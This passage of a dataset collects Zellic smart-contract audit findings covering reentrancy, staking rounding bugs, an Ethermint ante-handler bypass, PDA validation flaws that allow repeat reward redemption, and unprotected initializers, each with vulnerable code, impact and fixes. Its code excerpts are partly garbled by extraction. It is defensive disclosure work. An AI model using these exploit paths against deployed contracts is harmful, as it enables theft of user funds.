mecha- nism. However, the fix is easy and blocks future upgrades of the contract from being drained if it stores ETH. Zellic Asymmetry Finance We recommend modifying the function to comply with the checks-effects- interactions pattern, function withdrawEth() external onlyOwner { uint256 _ethToClaim = ethToClaim; ethToClaim = 0; /) solhint-disable-next-line (bool sent, ) = address(msg.sender).call{value: _ethToClaim}(\u201d\u201d); if (!sent) revert FailedToSend(); } or add a reentrancy guard to the function. This issue has been acknowledged by Asymmetry Finance, and a fix was implemented in commit dc7b9c8e. Zellic Asymmetry Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Asymmetry Finanace safETH - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Function doMultiStake() does not spend all input ETH", + "labels": [ + "Zellic" + ], + "body": "Target: SafEth Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium When a user wants to stake more than singleDerivativeThreshold, and there is not enough left in the premint supply, the contract ends up calling doMultiStake(), which does a weighted stake into multiple derivatives. ...)) uint256 amountStaked = 0; for (uint256 i = 0; i < derivativeCount; i+)) { if (!derivatives[i].enabled) continue; uint256 weight = derivatives[i].weight; if (weight =) 0) continue; IDerivative derivative = derivatives[i].derivative; uint256 ethAmount = i =) derivativeCount - 1 ? msg.value - amountStaked : (msg.value * weight) / totalWeight; amountStaked += ethAmount; ...)) } ...)) This portion of the code shows that it is iterating over all the derivatives, skipping the disabled ones. For each derivative, it stakes (msg.value * weight) / totalWeight ETH, which rounds down slightly due to integer division. To account for the rounding issue, the last iteration stakes msg.value - amountStaked, where the latter is the accumulated value of staked ETH so far. If the last derivative is disabled, the last iteration is skipped due to if (!derivatives[i].enabled) continue;, and the rounding is not accounted for. When the last derivative is disabled, and depending on the actual weights and the staked amount, a small percentage of the staked amount can be left in the contract. This will not be caught by the derivative slippage checks, but it can be caught by the Zellic Asymmetry Finance user\u2019s _minOut parameter when properly set. Disabling the last derivative in the list thus leads to either a loss of funds for the user or blocking the functionality of staking into multiple derivatives from working. The protocol should not rely on the last derivative to be enabled. A possible fix could be to implement something like a getLastEnabledDerivativeIndex() instead, which returns the real index of the last derivative, replacing derivativeCount -1. This can also reduce the amount of iterations ran by the for loop. This issue has been acknowledged by Asymmetry Finance, and a fix was implemented in commit e4a2864e. Zellic Asymmetry Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Asymmetry Finanace safETH - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Function firstUnderweightDerivativeIndex() returns a valid index on error", + "labels": [ + "Zellic" + ], + "body": "Target: SafEth Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium When a single stake is triggered, the SafEth contract tries to find the best target deriva- tive to stake into by calling firstUnderweightDerivativeIndex(). function doSingleStake( uint256 _minOut, uint256 price ) private returns (uint256 mintedAmount) { uint256 totalStakeValueEth = 0; IDerivative derivative = derivatives[firstUnderweightDerivativeIndex()] .derivative; uint256 depositAmount = derivative.deposit{value: msg.value}(); ...)) } ...)) function firstUnderweightDerivativeIndex() private view returns (uint256) { uint256 count = derivativeCount; uint256 tvlEth = totalSupply() * approxPrice(false); if (tvlEth =) 0) return 0; for (uint256 i = 0; i < count; i+)) { if (!derivatives[i].enabled) continue; uint256 trueWeight = (totalWeight * IDerivative(derivatives[i].derivative).balance() * IDerivative(derivatives[i].derivative).ethPerDerivative( false )) / tvlEth; if (trueWeight < derivatives[i].weight) return i; Zellic Asymmetry Finance } return 0; } The function iterates over all the enabled derivatives, calculating a \u201ctrue weight\u201d by calculating (totalWeight * derivative_balance_value_in_ETH) / safEth_value_i n_ETH. If this value is less than the derivative weight, it is considered underweight and has its index returned. Disabled derivatives are not considered, and their non- contribution is already accounted for in totalWeight. If the total supply of SafEth is 0, or none of the derivatives are considered under- weight, a default value of 0 is returned. This index is then used in doSingleStake with- out checking if that derivative is disabled. If none of the derivatives are underweight, or the total supply of SafEth is 0, a sin- gle stake can end up staking into a disabled derivative. The functionality of disabling derivatives is used in the cases when they appear to be more centralized or get de- pegged or corrupted somehow. Depending on the reason for disabling the derivative, the impact can vary greatly, from total loss of funds to just giving business to a deriva- tive that is getting too centralized. There are many proper ways to fix this. One example could be this: for both tvlEth =) 0 and the default return, fall back to finding the first nondisabled derivative. Revert if there are none. This issue has been acknowledged by Asymmetry Finance, and a fix was implemented in commit 4247587b. Zellic Asymmetry Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Asymmetry Finanace safETH - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Floor price is reset on consecutive premints", + "labels": [ + "Zellic" + ], + "body": "Target: SafEth Category: Coding Mistakes Likelihood: Low Severity: Medium : Low When the contract owner premints SafEth, the depositPrice value returned from call- ing stake() is saved. It is stored in the global value floorPrice and acts as a minimum price to be paid when using the preminted supply during staking. Thanks to the floo rPrice, the owners will be able to recoup their investment even if the price should go down later. function preMint( uint256 _minAmount, bool _useBalance ) external payable onlyOwner returns (uint256) { uint256 amount = msg.value; ...)) (uint256 mintedAmount, uint256 depositPrice) = this.stake{ value: amount }(_minAmount); floorPrice = depositPrice; ...)) } function shouldPremint(uint256 price) private view returns (bool) { uint256 preMintPrice = price < floorPrice ? floorPrice : price; uint256 amount = (msg.value * 1e18) / preMintPrice; return amount <) preMintedSupply &) msg.value <) maxPreMintAmount; } In the preMint() function, floorPrice is set directly and will overwrite the previous value there. If a premint is executed during a time when the price is high, floorPrice will be set to that high price. If another premint happens before the previous supply is depleted, Zellic Asymmetry Finance the floorPrice will be reset to the new depositPrice. If the price changed, this will under or overvalue the remaining preminted supply. The owner will then risk losing parts of the ETH invested during preminting, as it gets valued at a lower price than it was traded at. If the premint supply is (more or less) depleted before minting again, the problem can be avoided. There is no easy way to tie a certain price to just a part of the premint supply. A possibility could be to introduce a parameter bool reset_floorprice to preMint(), which allows the floorPrice to be reduced. Otherwise, it is limited to only increase, or it remains unchanged (but is checked to be within some limit). This issue has been acknowledged by Asymmetry Finance, and a fix was implemented in commit ac8ae472. Zellic Asymmetry Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Asymmetry Finanace safETH - Zellic Audit Report.pdf" + }, + { + "title": "3.2 The function safeTransfer can fail silently", + "labels": [ + "Zellic" + ], + "body": "Target: TransferHelper.sol Category: Business Logic Likelihood: Low Severity: Low : Low The functions safeTransfer and safeTransferFrom use low-level function call for to- kens transferring, which return true value in case of calling non-existent contract. function safeTransfer( address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20Minimal.transfer. selector, to, value)); require(success &) (data.length =) 0 |) abi.decode(data, (bool))) , \u201cTF\u201d); } Since there is no verification of the existence of the contract being called, in the case described above, the transaction will be counted as successful despite the fact that the tokens will not be sent. Although, when initializing the pool, it is checked that the contract balance has been increased by the expected value of liquidity, which makes unpossible the creation of a pool for non-existent tokens. But they will be checked only in case newPoolLiq_ was set, otherwise pool will be created without initial liquidity. Explicitly check the existence of contracts before transferring tokens. TBD Zellic Crocodile Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/CrocSwap - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Ethermint Ante handler bypass", + "labels": [ + "Zellic" + ], + "body": "Target: app/ante/handler_options.go Category: Coding Mistakes Likelihood: High Severity: High : High In commit 3362b13 a fix was added in order to prevent the Ethermint Ante handler from being bypassed (see https://jumpcrypto.com/writing/bypassing-ethermint- ante-handlers/). The patch was based on the original fix implemented in Evmos, but the issue is that ZetaChain has the x/group module enabled, which allows for a new way of bypassing the Ante handler. The group.MsgSubmitProposal allows for arbitrary messages to be run when the pro- posal is passed: /) MsgSubmitProposal is the Msg/SubmitProposal request type. type MsgSubmitProposal struct { /) group_policy_address is the account address of group policy. GroupPolicyAddress string `protobuf:\u201dbytes,1,opt,name=group_policy_address,json=groupPolicyAddre ss,proto3\u201d json:\u201dgroup_policy_address,omitempty\u201d` /) proposers are the account addresses of the proposers. /) Proposers signatures will be counted as yes votes. Proposers []string `protobuf:\u201dbytes,2,rep,name=proposers,proto3\u201d json:\u201dproposers,omitempty\u201d` /) metadata is any arbitrary metadata to attached to the proposal. Metadata string `protobuf:\u201dbytes,3,opt,name=metadata,proto3\u201d json:\u201dmetadata,omitempty\u201d` /) messages is a list of `sdk.Msg`s that will be executed if the proposal passes. Messages []*types.Any `protobuf:\u201dbytes,4,rep,name=messages,proto3\u201d json:\u201dmessages,omitempty\u201d` /) exec defines the mode of execution of the proposal, /) whether it should be executed immediately on creation or not. Zellic ZetaChain /) If so, proposers signatures are considered as Yes votes. Exec Exec `protobuf:\u201dvarint,5,opt,name=exec,proto3,enum=cosmos.group.v1.Exec\u201d json:\u201dexec,omitempty\u201d` } Since anyone can create a group with themselves as the only member, they can then submit a proposal with a message that will be executed immediately using the Exec option of Try. The checkDisabledMsgs function is only checking for authz messages, and so the group proposal will not be filtered: func (ald AuthzLimiterDecorator) checkDisabledMsgs(msgs []sdk.Msg, isAuthzInnerMsg bool, nestedLvl int) error { if nestedLvl >) maxNestedMsgs { return fmt.Errorf(\u201dfound more nested msgs than permited. Limit is : %d\u201d, maxNestedMsgs) } for _, msg :) range msgs { switch msg :) msg.(type) { case *authz.MsgExec: innerMsgs, err :) msg.GetMessages() if err !) nil { return err } nestedLvl+) if err :) ald.checkDisabledMsgs(innerMsgs, true, nestedLvl); err !) nil { return err } case *authz.MsgGrant: authorization, err :) msg.GetAuthorization() if err !) nil { return err } url :) authorization.MsgTypeURL() if ald.isDisabledMsg(url) { return fmt.Errorf(\u201dfound disabled msg type: %s\u201d, url) } default: url :) sdk.MsgTypeURL(msg) Zellic ZetaChain if isAuthzInnerMsg &) ald.isDisabledMsg(url) { return fmt.Errorf(\u201dfound disabled msg type: %s\u201d, url) } } } return nil } Similar to the original finding in section 3.11 of the April 21st, 2023 report, this can be used to steal the transaction fees for the current block, and also to trigger an infinite loop, halting the entire chain. A new case should be added to the checkDisabledMsgs method to check the group.M sgSubmitProposal message in the same way as the existing messages: case *group.MsgSubmitProposal: innerMsgs, err :) msg.GetMsgs() if err !) nil { return err } nestedLvl+) if err :) ald.checkDisabledMsgs(innerMsgs, true, nestedLvl); err !) nil { return err } This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit cd279b80. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 7.12.23 Zellic Audit Report.pdf" + }, + { + "title": "3.2 Missing nil check when parsing client event", + "labels": [ + "Zellic" + ], + "body": "Target: evm_client.go Category: Coding Mistakes Likelihood: High Severity: High : High One of the responsibilities of the Zetaclient is to watch for incoming transactions and handle any ZetaSent events emitted by the connector. logs, err :) connector.FilterZetaSent(&bind.FilterOpts{ Start: uint64(startBlock), End: &tb, Context: context.TODO(), }, []ethcommon.Address{}, []*big.Int{}) if err !) nil { ob.logger.ChainLogger.Warn().Err(err).Msgf(\u201dobserveInTx: FilterZetaSent error:\u201d) return } /) Pull out arguments from logs for logs.Next() { event :) logs.Event ob.logger.ExternalChainWatcher.Info().Msgf(\u201dTxBlockNumber %d Transaction Hash: %s Message : %s\u201d, event.Raw.BlockNumber, event.Raw.TxHash, event.Message) destChain :) common.GetChainFromChainID(event.DestinationChainId.Int64()) destAddr :) clienttypes.BytesToEthHex(event.DestinationAddress) When fetching the destination chain, common.GetChainFromChainID(event.Destinatio nChainId.Int64()) is used, which will return nil if the chain is not found. func GetChainFromChainID(chainID int64) *Chain { chains :) DefaultChainsList() for _, chain :) range chains { if chainID =) chain.ChainId { return chain } } Zellic ZetaChain return nil } Since a user is able to specify any value for the destination chain, if a nonsupported chain is used, then destChain will be nil and the following destChain.ChainName call will cause the client to crash. As all the clients watching the remote chain will see the same events, a malicious user (or a simple mistake entering the chain) will cause all the clients to crash. If the clients automatically restart and try to pick up from the block they were up to (the default), then they will crash again and enter into an endless restart and crash loop. This will prevent any incoming or outgoing transactions on the remote chain from being processed, effectively halting that chain\u2019s integration. There should be an explicit check to ensure that destChain is not nil and to skip the log if it is. It would also be a good idea to have a recovery mechanism that can handle any blocks that cause the client to crash and skip them. This will help prevent the remote chain from being paused if a similar bug occurs again. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 542eb37c. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 7.12.23 Zellic Audit Report.pdf" + }, + { + "title": "3.3 Admin policy check will always fail", + "labels": [ + "Zellic" + ], + "body": "Target: keeper_out_tx_tracker.go Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The AddToOutTxTracker was changed from allowing bonded validators to call it to al- lowing an admin policy account or one of the current observers: func (k msgServer) AddToOutTxTracker(goCtx context.Context, msg *types.MsgAddToOutTxTracker) (*types.MsgAddToOutTxTrackerResponse, error) { ctx :) sdk.UnwrapSDKContext(goCtx) chain :) k.zetaObserverKeeper.GetParams(ctx).GetChainFromChainID(msg.ChainId) if chain =) nil { return nil, zetaObserverTypes.ErrSupportedChains } authorized :) false if msg.Creator =) k.zetaObserverKeeper.GetParams(ctx).GetAdminPolicyAccount (zetaObserverTypes.Policy_Type_out_tx_tracker) { authorized = true } ok, err :) k.IsAuthorized(ctx, msg.Creator, chain) if err !) nil { return nil, err } if ok { authorized = true } if !authorized { return nil, sdkerrors.Wrap(types.ErrNotAuthorized, fmt.Sprintf(\u201dCreator %s\u201d, msg.Creator)) } The issue is that the admin account is unlikely to be an observer, and so the check to IsAuthorized will return an error and the function will return. Zellic ZetaChain The admin policy will not work as expected and will be unable to add to the out tracker. The function should be refactored to allow for either the admin or the observers to access it instead of returning early if the caller is not an observer. This issue has been acknowledged by ZetaChain, and a fix was implemented in com- mit 8222734c. Zellic ZetaChain", + "html_url": "https://github.com/Zellic/publications/blob/master/ZetaChain - 7.12.23 Zellic Audit Report.pdf" + }, + { + "title": "3.1 The initialize function is not using the initializer modi- fier", + "labels": [ + "Zellic" + ], + "body": "Target: L1StandardBridge Category: Coding Mistakes Likelihood: Medium Severity: High : High The initialize function in L1StandardBridge is not using the initializer modifier but instead uses messenger to verify if the function has already been initialized or not. If this contract is accidently initialized with messenger set to address(0), an attacker can reinitialize the contract and thus steal tokens from the contract using the withdrawal functions. function initialize(address _l1messenger, address _l2TokenBridge, address _l1MantleAddress) public { require(messenger =) address(0), \u201dContract has already been initialized.\u201d); messenger = _l1messenger; l2TokenBridge = _l2TokenBridge; l1MantleAddress = _l1MantleAddress; } If there are any tokens in the contract and the messenger is set to address(0), an at- tacker can steal those tokens from the contract. Use the initializer modifier, or in the initialize function, revert the transaction if any parameter is address(0). Zellic Mantle Network This issue has been acknowledged by Mantle Network, and a fix was implemented in commit a53dd956. Zellic Mantle Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Mantle - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Protocol does not account for fee-on-transfer tokens", + "labels": [ + "Zellic" + ], + "body": "Target: L1StandardBridge Category: Business Logic Likelihood: Low Severity: Low : Low The _initiateERC20Deposit function does not account for tokens that charge fees on transfer. There is an expectation that the _amount of tokens deposited to the project contract when calling depositERC20To or depositERC20 will be equal to the amount of tokens deposited, and hence the mapping deposits is updated by adding the same _amount. However, there are ERC-20s that do, or may in the future, charge fees on transfer that will violate this expectation and affect the contract\u2019s accounting in the deposits mapping. Below is the function _initiateERC20Deposit from the L1StandardBridge contract (some part of the function is replaced by /) [removed code] to only show the relevant code): function _initiateERC20Deposit( address _l1Token, address _l2Token, address _from, address _to, uint256 _amount, uint32 _l2Gas, bytes calldata _data ) internal { /) When a deposit is initiated on L1, the L1 Bridge transfers the funds to itself for future /) withdrawals. The use of safeTransferFrom enables support of \u201dbroken tokens\u201d which do not /) return a boolean value. /) slither-disable-next-line reentrancy-events, reentrancy-benign IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount); /) [removed code] /) slither-disable-next-line reentrancy-benign deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount; Zellic Mantle Network /) slither-disable-next-line reentrancy-events emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount, _data); } The deposits mapping will overestimate the amount of fee-on-transfer tokens in the contract. Consider implementing a require check that compares the contract\u2019s balance before and after a token transfer to ensure that the expected amount of tokens are trans- ferred. function _initiateERC20Deposit( address _l1Token, address _l2Token, address _from, address _to, uint256 _amount, uint32 _l2Gas, bytes calldata _data ) internal { /) When a deposit is initiated on L1, the L1 Bridge transfers the funds to itself for future /) withdrawals. The use of safeTransferFrom enables support of \u201dbroken tokens\u201d which do not /) return a boolean value. /) slither-disable-next-line reentrancy-events, reentrancy-benign uint256 expectedTransferBalance = IERC20(_l1Token).balanceOf(address(this)) + _amount; IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount); uint256 postTransferBalance = IERC20(_l1Token).balanceOf(address(this)); require(expectedTransferBalance =) postTransferBalance, \u201dFee on transfer tokens not supported\u201d); Zellic Mantle Network /) [removed code] /) slither-disable-next-line reentrancy-benign deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount; /) slither-disable-next-line reentrancy-events emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount, _data); } This issue has been acknowledged by Mantle Network, and a fix was implemented in commit 305b5cab. Zellic Mantle Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Mantle - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Possible rounding issues in L1MantleToken", + "labels": [ + "Zellic" + ], + "body": "Target: L1MantleToken Category: Business Logic Likelihood: N/A Severity: Informational : Informational The mint function in L1MantleToken calculated the maximumMintAmount using the fol- lowing formula: uint256 maximumMintAmount = (totalSupply() * mintCapNumerator) / MINT_CAP_DENOMINATOR; Below is the mint function: function mint(address _recipient, uint256 _amount) public onlyOwner { uint256 maximumMintAmount = (totalSupply() * mintCapNumerator) / MINT_CAP_DENOMINATOR; if (_amount > maximumMintAmount) { revert MantleToken_MintAmountTooLarge(_amount, maximumMintAmount); } if (block.timestamp < nextMint) revert MantleToken_NextMintTimestampNotElapsed(block.timestamp, nextMint); nextMint = block.timestamp + MIN_MINT_INTERVAL; _mint(_recipient, _amount); } If the totalSupply and mintCapNumerator are small enough, they might round down to zero when divided by MINT_CAP_DENOMINATOR. This would revert the transaction be- cause of the if condition following the calculation, and an admin would not be able to mint the tokens. It is advised to use the mintCapNumerator and _initialSupply at a value large enough so the above calculations do not round down the maximumMintAmo unt to zero. The mint function would revert. Zellic Mantle Network Set the _initialSupply in initialize and mintCapNumerator using setMintCapNumerator to values large enough so the division does not round down the maximumMintAmount to zero. Mantle Network rejected this finding and provided the response below: In our practical use case, it is unlikely to encounter situations where totalSupply and mintCapNumerator are too small. The situation mentioned in the report does not exist. Zellic Mantle Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Mantle - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Custom proxy architecture", + "labels": [ + "Zellic" + ], + "body": "Target: STBT.sol Category: Code Maturity Likelihood: Medium Severity: Medium : Low STBT will be deployed through a proxy contract, a common design that allows up- grading the code of a contract. STBT implements a custom proxy, which has strong constraints in the ability to up- grade the contract code and is arguably more error prone than other existing alterna- tives. Specifically, the storage layouts of the custom proxy implementation UpgradeableS TBT and of the implementation STBT are required to not clash. This is implemented by replicating the initial part of the storage layout of the implementation contract in the proxy. The STBT contract storage has an uint[300] array of placeholders, where UpgradableSTBT stores the address of the implementation contract. contract UpgradeableSTBT is Proxy { /) override address public owner; address public issuer; address public controller; address public moderator; /) new state below address public implementation; /) ...)) } contract STBT is Ownable, ISTBT { /) all the following three roles are contracts of governance/TimelockController.sol address public issuer; address public controller; address public moderator; Zellic Matrixdock uint[300] public placeholders; ///)) ...)) } This coupling of storage layouts is unusual and unnecessary; other proxy implementa- tions move the address of the implementation contract to a different storage location (via inline assembly), in order to not interfere with the implementation storage layout. This issue does not describe an exploitable security vulnerability in the code as re- viewed and is therefore reported as low severity. However, we believe this design choice introduces a higher risk of errors when upgrading the contract. We recommend evaluating the adoption of one of the several de facto standard proxy architectures that have been developed and proven effective, such as UUPSUpgrade- able. Matrixdock acknowledged the finding and will not remediate at this time. Zellic Matrixdock", + "html_url": "https://github.com/Zellic/publications/blob/master/Matrixdock-STBT - Zellic Audit Report.pdf" + }, + { + "title": "3.2 High rate of failures in test suite", + "labels": [ + "Zellic" + ], + "body": "Target: stbt-test.js Category: Code Maturity Likelihood: High Severity: Medium : Low One of the routine steps performed during the evaluation of a codebase is inspection of the accompanying test suite. When running the test suite using the instructions available in the README, we observed a failure rate of 52% (24 out of 46). Integrating a comprehensive test suite with a continuous integration service is tremen- dously important for preventing bugs from being deployed. For example, for one of the tests within it(\u201credeem: errors\u201d...))), it expects a revert to happen because of NO_SEND_PERMISSION, when the revert cause is because the msg .sender is not the issuer. await expect(stbt.connect(alice).redeem(123, '0x')) .to.be.revertedWith(\u201cNO_SEND_PERMISSION\u201d); We recommend fixing the failing tests and running the tests automatically (e.g., by integrating them with a CI service or in Git hooks). Matrixdock states that this issue was caused by an unsynced test file. The finding was fixed in commit 06c46695 and now all tests pass. Zellic Matrixdock", + "html_url": "https://github.com/Zellic/publications/blob/master/Matrixdock-STBT - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing PDA validation leading to multiple transfers", + "labels": [ + "Zellic" + ], + "body": "Target: Rewards Manager Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Rewards are redeemed using a two-step process. First, signed messages are submit- ted and stored on-chain in an account of type VerifiedMessages. When the required amount of signed messages has been submitted, the EvaluateAttestations instruction is invoked to process the transfer. The instruction performs a number of checks on the provided accounts and then performs the token transfer to the destination account. In order to avoid a single transfer being repeated multiple times, a PDA is created (tr ansfer_account_info), marking the transfer as completed. The PDA is unique for the transfer since the address is derived from the details of the transfer, including a unique ID. In addition, the account containing the VerifiedMessages is deleted by zeroing its lamports. Both these measures are flawed and can be bypassed. The transfer_account_info account is not checked to be the intended PDA. An at- tacker can supply any signer account as an input to the transaction, and the account will be created successfully. This is because any signer account can be passed to the create_account system instruction, even if the invoke_signed function is used to per- form an invocation with signer seeds for the intended PDA. The signer seeds will just be ignored as they do not correspond to any account in the subtransaction. It is also possible to reuse the VerifiedMessages account, despite it having zero lam- ports, by referencing it in multiple instructions within the same transaction. This spe- cific issue is discussed more in detail in finding 3.3. It is possible to redeem rewards multiple times. We confirmed this issue by modifying an existing test. Ensure that the transfer_account_info account matches the expected PDA. Properly invalidate the data stored in the VerifiedMessages accounts so that it cannot be reused Zellic Audius, Inc even within the same transaction. The Audius team was alerted of this issue while the audit was ongoing. The issue was acknowledged within 10 minutes, and a remediation patch was suggested within 40 minutes. The patch was quickly deployed after review from both Zellic and Au- dius engineers to ensure a complete fix to the issue. The complete timeline of events follows (times in UTC, October 15th): 17:52 Audius is informed of the issue 18:02 Audius acknowledges the issue 18:31 Audius proposes a remediation 18:35 Zellic confirms that proposed remediation patches the issue, suggesting additional changes to invalidate VerifiedMessages accounts ~21:45 Audius finalizes remediation commits, including suggested additional changes ~22:00 Zellic confirms that remediation patches the issue ~22:00 Audius deploys and tests patch on testnet 23:31 Audius deploys patch on mainnet Zellic Audius, Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius Solana - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Ambiguous format for signed messages", + "labels": [ + "Zellic" + ], + "body": "Target: Rewards Manager Category: Code Maturity Likelihood: N/A Severity: Informational : Informational Verified messages are serialized as the concatenation of multiple fields separated by an underscore: /) Valid senders message let valid_message = [ transfer_data.eth_recipient.as_ref(), b\u201c_\u201d, transfer_data.amount.to_le_bytes().as_ref(), b\u201c_\u201d, transfer_data.id.as_ref(), b\u201c_\u201d, bot_oracle.eth_address.as_ref(), ] .concat(); This format is inherently prone to ambiguities. Consider the example of the following amount and id variations (other fields left out for simplicity): amount: id: _myid message: 123__myid amount: 123_ id: myid message: 123__myid The same message can be obtained by composing different amounts and ids. This issue can potentially be exploited to submit manipulated values to invocations of process_evaluate_attestations. The Audius team claimed amounts and ids containing underscores (0x5f bytes) cannot be generated by the relevant off-chain programs; Zellic Audius, Inc therefore, the issue is not exploitable in practice. For this reason this potentially critical issue is reported as informational. Even though the issue might not be exploitable at the time of this security audit, we strongly advise to review the message format to make ambiguities impossible in or- der to to harden the code and avoid being exposed to a risk of a critical issue. One remediation option would be to adopt a serialization format where the various fields have a fixed length. Another more flexible (but more complex and bug-prone) option would be to adopt a tag-length-value encoding (or just length-value). The Audius team acknowledged this finding. No change to the codebase was deemed to be immediately required. Zellic Audius, Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius Solana - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Unsafe account deletion method", + "labels": [ + "Zellic" + ], + "body": "Target: Rewards Manager Category: Coding Mistakes Likelihood: N/A Severity: Low : Low The EvaluateAttestations instruction processes an account of type VerifiedMessages containing signed assertions authorizing the transfer of a given amount of tokens to a specific account. Towards the end of the instruction, the VerifiedMessages account is deleted by zeroing its lamports. This account deletion method is unsafe and prone to abuse. The reason is that account deletion does not happen immediately after an instruction is finished processing, and a zero-lamports account is usable by other instructions within the same transaction. It is possible to reuse a VerifiedMessages account after an EvaluateAttestations in- struction has been processed, despite it having zero lamports, by referencing the same account in multiple instructions within the one transaction. This issue was part of the exploit for issue 3.1. Invalidate or immediately delete VerifiedMessages. Invalidating the account can be done by zeroing the version field, thus making unpac king the account fail. Truly and fully deleting the account is not possible; however, it is possible to achieve an equivalent effect by zeroing the account lamports, resizing the account to zero, and transferring the account ownership to the system program. The Audius team was alerted of this issue while the audit was ongoing, together with issue 3.1. The Audius team quickly applied a remediation that invalidates the account, making unpack fail. Zellic Audius, Inc", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius Solana - Zellic Audit Report.pdf" + }, + { + "title": "5.1 Missing registry check in restrict", + "labels": [ + "Zellic" + ], + "body": "Target: MightyNetERC721RestrictedRegistry Category: Coding Mistakes Likelihood: Low Severity: Low : Low Each ERC721Restrictable token has an associated registry contract for managing re- strictions. The restrict function in MightyNetERC721RestrictedRegistry does not check whether the contract itself is set as the target token\u2019s registry. function restrict( address tokenContract, uint256[] calldata tokenIds ) external override onlyRole(RESTRICTOR_ROLE) nonReentrant whenNotPaused { uint256 tokenCount = tokenIds.length; if (tokenCount =) 0) { revert InvalidTokenCount(tokenCount); } for (uint256 i = 0; i < tokenCount; +)i) { uint256 tokenId = tokenIds[i]; if (!ERC721Restrictable(tokenContract).exists(tokenId)) { revert InvalidToken(tokenContract, tokenId); } bytes32 tokenHash = keccak256( abi.encodePacked(tokenContract, tokenId) ); if (_isRestricted(tokenHash)) { revert TokenAlreadyRestricted(tokenContract, tokenId); } _tokenRestrictions[tokenHash] = msg.sender; } emit Restricted(tokenContract, tokenIds); } Zellic Mighty Bear Games This behavior would exacerbate upgrade or configuration issues in other contracts that interact with ERC721Restrictable tokens. If a contract tries to restrict a token using the incorrect registry contract, the action will fail silently. This might allow users to earn rewards on unlocked tokens. The restrict function should include an assertion that restrictedRegistry in the to- ken contract indeed matches address(this). Alternatively, Mighty Bear Games could add a separate safeRestrict function that includes this check. Mighty Bear Games acknowledges this finding.They added an assertion as recom- mended to the beginning of the scope of the restrict function in the V2 contract. If the assertion fails, it reverts with a newly introduced error ContractNotUsingThisRest rictedRegistry(address tokenContract). Mighty Bear Games has provided the response below: by adding the registry check to MightyNetERC721RestrictedRegistryV2. MightyNetERC721RestrictedRegistry was already deployed on ethereum. MightyNetERC721RestrictedRegistryV2 will be deployed on our L2 chain. Zellic Mighty Bear Games", + "html_url": "https://github.com/Zellic/publications/blob/master/MightyNet - Zellic Audit Report.pdf" + }, + { + "title": "5.2 Restriction pattern creates centralization risk", + "labels": [ + "Zellic" + ], + "body": "Target: MightyNetERC721RestrictedRegistry Category: Business Logic Likelihood: Low Severity: Low : Low The MightyNetERC721RestrictedRegistry contract gives approved users or contracts the ability to restrict specific tokens. function restrict( address tokenContract, uint256[] calldata tokenIds ) external override onlyRole(RESTRICTOR_ROLE) nonReentrant whenNotPaused { uint256 tokenCount = tokenIds.length; if (tokenCount =) 0) { revert InvalidTokenCount(tokenCount); } for (uint256 i = 0; i < tokenCount; +)i) { uint256 tokenId = tokenIds[i]; if (!ERC721Restrictable(tokenContract).exists(tokenId)) { revert InvalidToken(tokenContract, tokenId); } bytes32 tokenHash = keccak256( abi.encodePacked(tokenContract, tokenId) ); if (_isRestricted(tokenHash)) { revert TokenAlreadyRestricted(tokenContract, tokenId); } _tokenRestrictions[tokenHash] = msg.sender; } emit Restricted(tokenContract, tokenIds); } Any address with the RESTRICTOR_ROLE can invoke this function to restrict any token in any token contract, without approval by users. Further, only the address that added a token\u2019s restriction is able to remove the restriction. Zellic Mighty Bear Games This exposes all assets to risks in approved contracts. If any such contracts experience key compromises, upgrade issues, or implementation vulnerabilities, then arbitrary assets might become locked. Additionally, this restriction pattern requires that both the admin and all approved contracts are highly trusted by users. We recommend that Mighty Bear Games implement a system where users first approve restrictions, use token transfers to hold staked assets, or clearly document trust assumptions associated with restrictors. Mighty Bear Games acknowledges this. As per their response, they have decided to go with the third recommendation and clearly document trust assumptions with restrictors. The following is their provided response: We are updating the readme to address this. Once the next deployment is done, we are planning to create a public github repository so that this readme can be player facing. We will also link to the repository from the whitepaper and a public facing FAQ page. Zellic Mighty Bear Games", + "html_url": "https://github.com/Zellic/publications/blob/master/MightyNet - Zellic Audit Report.pdf" + }, + { + "title": "5.3 Unnecessary complexity in _tokenRestrictions structure", + "labels": [ + "Zellic" + ], + "body": "Target: MightyNetERC721RestrictedRegistry Category: Code Maturity Likelihood: N/A Severity: Informational : Informational The MightyNetERC721RestrictedRegistry contract tracks restricted tokens by hashing a token\u2019s tokenContract address and tokenId value together, resulting in a tokenHash that is then stored in the contract. For instance, in the isRestricted function: bytes32 tokenHash = keccak256(abi.encodePacked(tokenContract, tokenId)); Then, tokenHash is used as a key 